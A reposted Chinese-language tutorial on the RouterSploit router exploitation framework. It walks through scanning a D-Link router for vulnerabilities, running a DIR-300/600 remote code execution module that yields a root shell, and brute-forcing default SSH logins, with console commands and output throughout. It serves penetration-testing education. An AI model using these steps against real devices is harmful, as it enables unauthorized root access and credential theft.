RouteSploit框架是一款開源的漏洞檢測及利用框架，其針對的物件主要為路由器等嵌入式裝置。

框架功能

RouteSploit框架主要由可用於滲透測試的多個功能模組元件組成，

1、 Scanners：模組功能主要為檢查目標裝置是否存在可利用的安全漏洞；

2、Creds：模組功能主要針對網路服務的登入認證口令進行檢測；

3、Exploits：模組功能主要為識別到目標裝置安全漏洞之後，對漏洞進行利用，實現提權等目的。

工具安裝

sudo apt-get install python-requests python-paramiko python-netsnmp

git clone

./rsf.py

GitHub地址如上命令中所述為：

操作使用

首先，啟動RouteSploit框架，具體如下所示

[email protected]:~/git/routersploit# ./rsf.py 
 ______            _            _____       _       _ _
 | ___ \          | |          /  ___|     | |     (_) |
 | |_/ /___  _   _| |_ ___ _ __\ `--. _ __
 
 | | ___  _| |_
 |    // _ \| | | | __/ _ \ '__|`--. \ '_ \| |/ _ \| | __|
 | |\ \ (_) | |_| | ||  __/ |  /\__/ / |_) | | (_) | | |_
 \_| \_\___/ \__,_|\__\___|_|  \____/| .__/|_|\___/|_|\__|
                                     | |
     Router Exploitation Framework   |_|

 Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz)
 Codename : Wildest Dreams
 Version  : 1.0.0

rsf > 
 

1、Scanners 模組

scanners模組，具備裝置漏洞掃描功能，通過該模組，可快速識別目標裝置是否存在可利用的安全漏洞，下面會以一個dlink路由器為例，結合進行操作描述。

（1）選擇scanners模組，操作如下，

rsf > use scanners/dlink_scan
rsf (D-Link Scanner) > show options

（2）顯示選項

Target options:

   Name       Current settings     Description                                
   ----       ----------------     -----------                                
   target                          Target address e.g. http://192.168.1.1     
   port       80                   Target port                                

（3）設定目標裝置IP

rsf (D-Link Scanner) > set target 192.168.1.1
[+] {'target': '192.168.1.1'}

（4）執行模組，執行情況如下，

rsf (D-Link Scanner) > run
[+] exploits/dlink/dwr_932_info_disclosure is vulnerable
[-] exploits/dlink/dir_300_320_615_auth_bypass is not vulnerable
[-] exploits/dlink/dsl_2750b_info_disclosure is not vulnerable
[-] exploits/dlink/dns_320l_327l_rce is not vulnerable
[-] exploits/dlink/dir_645_password_disclosure is not vulnerable
[-] exploits/dlink/dir_300_600_615_info_disclosure is not vulnerable
[-] exploits/dlink/dir_300_600_rce is not vulnerable

[+] Device is vulnerable!
 - exploits/dlink/dwr_932_info_disclosure

如上所呈現的結果，目標裝置存在dwr_932_info_disclosure漏洞。接下來，我們選擇合適的payload進行傳遞和測試（以下涉及exploits模組功能操作，如需，請再往下查閱），

2、Exploits 模組

（1）選擇Exploits模組，操作如下，

rsf > use exploits/
exploits/2wire/     exploits/asmax/     exploits/asus/      exploits/cisco/     exploits/dlink/     exploits/fortinet/  exploits/juniper/   exploits/linksys/   exploits/multi/     exploits/netgear/
rsf > use exploits/dlink/dir_300_600_rce
rsf (D-LINK DIR-300 & DIR-600 RCE) > 

我們也可以使用“tab”鍵來自動補充輸入命令。

（2）顯示選項

rsf (D-LINK DIR-300 & DIR-600 RCE) > show options

Target options:


   Name       Current settings     Description                                
   ----       ----------------     -----------                                
   target                          Target address e.g. http://192.168.1.1     
   port       80                   Target Port

設定選項，操作如下，

rsf (D-LINK DIR-300 & DIR-600 RCE) > set target http://192.168.1.1
[+] {'target': 'http://192.168.1.1'}

（3）執行模組

通過使用“run”或“exploit”命令來完成漏洞的利用，

rsf (D-LINK DIR-300 & DIR-600 RCE) > run
[+] Target is vulnerable
[*] Invoking command loop...
cmd > whoami
root

也可檢測目標裝置是否存在選定的安全漏洞，操作如下，

rsf (D-LINK DIR-300 & DIR-600 RCE) > check
[+] Target is vulnerable

（4）顯示具體漏洞資訊

通過“show info”命令，顯示漏洞資訊，包括其存在的裝置品牌、型號、漏洞型別及參考來源，具體參考如下，

rsf (D-LINK DIR-300 & DIR-600 RCE) > show info

Name:
D-LINK DIR-300 & DIR-600 RCE

Description:
Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.

Targets:
- D-Link DIR 300
- D-Link DIR 600

Authors:
- Michael Messner <devnull[at]s3cur1ty.de> # vulnerability discovery
- Marcin Bury <marcin.bury[at]reverse-shell.com> # routersploit module

References:
- http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router
- http://www.s3cur1ty.de/home-network-horror-days
- http://www.s3cur1ty.de/m1adv2013-003

3、 Creds模組

（1）選擇模組

此模組相關檔案位於 /routesploit/modules/creds/ 目錄下，以下為該模組支援檢測的服務，

• ftp 

• ssh

• telnet

• http basic auth

• http form auth

• snmp

在檢測過程中，可通過兩個層面對上述的每個服務進行檢測，

預設服務登入口令檢測：利用框架提供的各類路由等裝置以及服務的預設登入口令字典，通過快速列舉的方式，可在較短時間內（幾秒鐘）驗證裝置是否仍使用預設登入口令；

暴力破解：利用框架中所提供的特定賬戶或者賬戶列表進行字典攻擊。其中包含兩個引數（登入賬戶及密碼），如框架/routesploit/wordlists目錄中字典所示，引數值可以為一個單詞（如’admin’），或者是一整個單詞列表。

（2）控制檯

rsf > use creds/
creds/ftp_bruteforce         creds/http_basic_bruteforce  creds/http_form_bruteforce   creds/snmp_bruteforce        creds/ssh_default            creds/telnet_default         
creds/ftp_default            creds/http_basic_default     creds/http_form_default      creds/ssh_bruteforce         creds/telnet_bruteforce      
rsf > use creds/ssh_default
rsf (SSH Default Creds) > 

（3）顯示選項

（4）設定目標裝置IP

rsf (SSH Default Creds) > set target 192.168.1.53
[+] {'target': '192.168.1.53'}

（5）執行模組

rsf (SSH Default Creds) > run
[*] Running module...
[*] worker-0 process is starting...
[*] worker-1 process is starting...
[*] worker-2 process is starting...
[*] worker-3 process is starting...
[*] worker-4 process is starting...
[*] worker-5 process is starting...
[*] worker-6 process is starting...
[*] worker-7 process is starting...
[-] worker-4 Authentication failed. Username: '3comcso' Password: 'RIP000'
[-] worker-1 Authentication failed. Username: '1234' Password: '1234'
[-] worker-0 Authentication failed. Username: '1111' Password: '1111'
[-] worker-7 Authentication failed. Username: 'ADVMAIL' Password: 'HP'
[-] worker-3 Authentication failed. Username: '266344' Password: '266344'
[-] worker-2 Authentication failed. Username: '1502' Password: '1502'

(..)

Elapsed time:  38.9181981087 seconds
[+] Credentials found!

Login     Password     
-----     --------     
admin     1234         

rsf (SSH Default Creds) > 

文章轉載自Freebuf，原文地址：http://www.freebuf.com/sectool/101441.html

以下為Github上的演示視訊，https://asciinema.org/a/8u75xcjuacnbpwz9feaixde9e?autoplay=1